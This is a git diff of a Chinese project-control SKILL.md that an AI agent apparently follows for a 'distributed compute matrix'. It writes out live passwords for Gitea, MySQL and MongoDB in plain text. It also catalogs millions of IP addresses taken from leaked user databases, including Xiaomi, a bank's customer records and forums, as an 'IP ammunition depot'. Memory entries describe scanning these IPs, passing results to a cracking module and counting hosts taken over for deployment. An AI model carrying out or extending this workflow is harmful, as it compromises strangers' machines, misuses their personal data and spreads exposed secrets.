5. 对话结束时更新本文件 § 记忆区 — 新发现/新结论/新文件写入记忆
4. 读取 §「记忆与沉淀」 — 恢复上下文、避免重复劳动
5. 对话结束时更新本文件 § 记忆区 — 新发现/新结论/新文件写入记忆
```
**违反此规则等于丢失上下文,会导致重复劳动和决策偏差。**
@@ -95,7 +95,7 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
## 三、目录文件清单(每次对话必读)
> **最后更新**: 2026-02-15
> 每次对话开始时核对此清单新增文件须补录;删除文件须标注。
> 每次对话开始时核对此清单;§六 为本项目相关数据库清单,供子模块调用。新增文件须补录;删除文件须标注。
```
分布式算力矩阵/
@@ -221,7 +221,7 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
```
总控 SKILL/Users/karuo/Documents/1、金项目/3、自营项目/分布式算力矩阵/SKILL.md
→ 读取 §三 获取完整文件清单
→ 读取 § 获取最新记忆与上下文
→ 读取 § 获取最新记忆与上下文
→ 读取 §四 获取当前资产状态
```
@@ -234,17 +234,7 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
触发词分布式算力矩阵、算力矩阵、矩阵总控、PCDN、节点管理
```
### 5.3 Gitea 推送(必须 HTTPS界面可见
| 项 | 值 |
|----|-----|
| Gitea 地址 | http://open.quwanzhi.com:3000/fnvtk/suanli-juzhen |
| 推送命令 | `git push gitea main` |
| Remote URL | `http://fnvtk:Zhiqun1984@open.quwanzhi.com:3000/fnvtk/suanli-juzhen.git` |
> ⚠️ 新建仓库必须用 Gitea API 或 Web 创建,禁止 SSH 手动 mkdir+init否则界面不显示。详见卡若AI `_共享模块/references/Gitea推送_卡若AI调用手册.md`
### 5.4 模块间数据流
### 5.3 模块间数据流
```bash
# 01→04a: 扫描结果供破解
@@ -268,7 +258,75 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
---
## 六、紧急待办(按优先级
## 六、数据库清单(两个用户 × 项目联动
> **用途**供子模块、卡若AI 快速查询连接串与库表便于脚本调用、SKILL 联动。
### 6.1 用户与项目对应
| 用户 | 所属系统 | 本项目角色 | 关联数据库 |
|:---|:---|:---|:---|
| **fnvtk** | Gitea / CKB NAS | 仓库托管suanli-juzhen 等) | Gitea 内置库 |
| **admin** / **卡若** | MongoDB / MySQL | 算力矩阵主控、IP 弹药库 | MongoDB、腾讯云 MySQL |
### 6.2 MongoDB本地 Docker · admin
| 项 | 值 |
|----|-----|
| 连接串 | `mongodb://admin:admin123@localhost:27017/?authSource=admin` |
| 容器 | `datacenter_mongodb`mongo:6.0 |
| 主库(本项目) | **KR** |
| 核心集合 | `KR.分布式矩阵IP`(约 871 万条IP 弹药库) |
| IP 源库8 集合) | 见下表 |
**IP 源库速查**(供 `02_账号密码管理/scripts/extract_ip_users_rfm.py` 调用):
| 数据库 | 集合 | IP 字段 | 文档量 |
|--------|------|---------|--------|
| KR_KR | 木蚂蚁munayi_com | regip / lastip | 11.5 万 |
| KR_KR | 房产网 | regip | 11.9 万 |
| KR_卡若私域 | 老坑爹论坛会员 | regip | 8.9 万 |
| KR_卡若私域 | 老坑爹商店 | loginIp / createdIp | 662 |
| KR_卡若私域 | 黑科技付款邮箱 | ip | 5,108 |
| KR_商城 | 小米 xiaomi_com | ip | 828 万 |
| KR_国外 | 卡塔卡银行_用户档案 | LAST_LOGIN_IP | 10.6 万 |
| KR_国外 | 卡塔卡银行_审计主表 | LOGON_IP / REQUEST_IP | 28 |
详细结构:`02_账号密码管理/references/MongoDB_IP字段扫描报告.md`
### 6.3 腾讯云 MySQLcdb_outerroot
| 项 | 值 |
|----|-----|
| 地址 | 56b4c23f6853c.gz.cdb.myqcloud.com:14413 |
| 用户 | cdb_outerroot |
| 密码 | Zhiqun1984 |
| 用途 | 业务库(存客宝、老坑爹等),非算力矩阵主库 |
### 6.4 GiteaCKB NAS · fnvtk
| 项 | 值 |
|----|-----|
| 地址 | http://open.quwanzhi.com:3000 |
| 账号 | fnvtk |
| 密码 | Zhiqun1984 |
| 本项目仓库 | suanli-juzhen |
| HTTPS 推送 | `http://fnvtk:Zhiqun1984@open.quwanzhi.com:3000/fnvtk/suanli-juzhen.git` |
| **本地有更新即同步** | `bash 卡若AI/01_卡资/_团队成员/金仓/Gitea管理/scripts/auto_sync_suanli_juzhen.sh` |
Gitea 管理 SKILL`/Users/karuo/Documents/个人/卡若AI/01_卡资/_团队成员/金仓/Gitea管理/SKILL.md`。Webhook 用于 Gitea→外部本地→Gitea 用 sync 脚本,详见 `Gitea管理/references/Webhook与本地协同方案.md`
### 6.5 凭证库02_账号密码管理
| 项 | 值 |
|----|-----|
| 类型 | SQLCipher 加密数据库 |
| 存储 | hosts、credentials |
| 用途 | 节点凭证、SSH 密钥索引 |
---
## 七、紧急待办(按优先级)
### P0 — 立即
@@ -289,11 +347,11 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
---
## 、记忆与沉淀区(每次对话结束必更新)
## 、记忆与沉淀区(每次对话结束必更新)
> **此区域是持久记忆,每次对话结束时将新发现、新结论、新文件、新问题追加到对应小节。**
### 7.1 关键经验(累积)
### 8.1 关键经验(累积)
| # | 经验 | 来源 | 日期 |
|---|:---|:---|:---|
@@ -310,9 +368,8 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
| 11 | **全量v2.0验证: 33万IP仅51个真实存活(99.92%动态IP已下线)** | v2.0全量 | 2026-02-15 |
| 12 | IP弹药库本质是动态IP池扫描即时利用策略 | v2.0全量 | 2026-02-15 |
| 13 | 全链路转化率: 431万35台可部署=0.0008% | v2.0全量 | 2026-02-15 |
| 14 | Gitea 新建仓库必须用 API Web 创建禁止 SSH mkdir+init否则界面不显示 | Gitea 推送 | 2026-02-15 |
### 7.2 对话记录索引
### 8.2 对话记录索引
| # | 对话主题 | 消息数 | 关键产出 | 日期 |
|---|:---|:---|:---|:---|
@@ -321,7 +378,7 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
| 3 | 分布式算力矩阵(架构) | 199 | 项目结构搭建6模块SKILL | 2026-02-15 |
| 4 | 总控SKILL创建 | - | 本文件 + Cursor Rule | 2026-02-15 |
### 7.3 待解决问题
### 8.3 待解决问题
| # | 问题 | 状态 | 相关模块 |
|---|:---|:---|:---|
@@ -331,7 +388,7 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
| 4 | 04_算力调度脚本未开发 | 待开发 | 04_算力调度 |
| 5 | 05_监控运维脚本未开发 | 待开发 | 05_监控运维 |
### 7.4 文件变更日志
### 8.4 文件变更日志
| 日期 | 操作 | 文件 | 说明 |
|:---|:---|:---|:---|
@@ -342,27 +399,27 @@ collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
| 2026-02-15 | 新增 | 01_扫描模块/references/扫描流水线v2.0.png | 扫描流程图 |
| 2026-02-15 | 新增 | 01_扫描模块/references/33万IP全量深度分析报告.md | 五级分类分析 |
| 2026-02-15 | 升级 | 01_扫描模块/SKILL.md | v1.1v2.0 两阶段验证 |
| 2026-02-15 | 配置 | Gitea 推送 | HTTPS 远程API 创建仓库界面可见 http://open.quwanzhi.com:3000/fnvtk/suanli-juzhen |
| 2026-02-15 | 新增 | SKILL.md § | fnvtk/admin 两用户数据库清单供子模块调用 |
---
## 、迭代规则
## 、迭代规则
### 8.1 本文件迭代
### 9.1 本文件迭代
每次涉及本项目的对话结束时**必须**更新
1. **§ 目录清单** 有新增/删除文件时更新
2. **§ 资产状态** 设备/IP弹药库有变化时更新
3. **§ 待办** 任务完成时打勾新增任务时追加
4. **§ 记忆区** 新经验/新问题/新对话 追加
3. **§ 待办** 任务完成时打勾新增任务时追加
4. **§ 记忆区** 新经验/新问题/新对话 追加
### 8.2 版本号规则
### 9.2 版本号规则
- 小改动记忆追加待办更新patch +0.0.1
- 中改动新模块新脚本架构变化minor +0.1
- 大改动项目重构major +1.0
### 8.3 质量检查
### 9.3 质量检查
每次更新后自查
- [ ] 目录清单与实际文件一致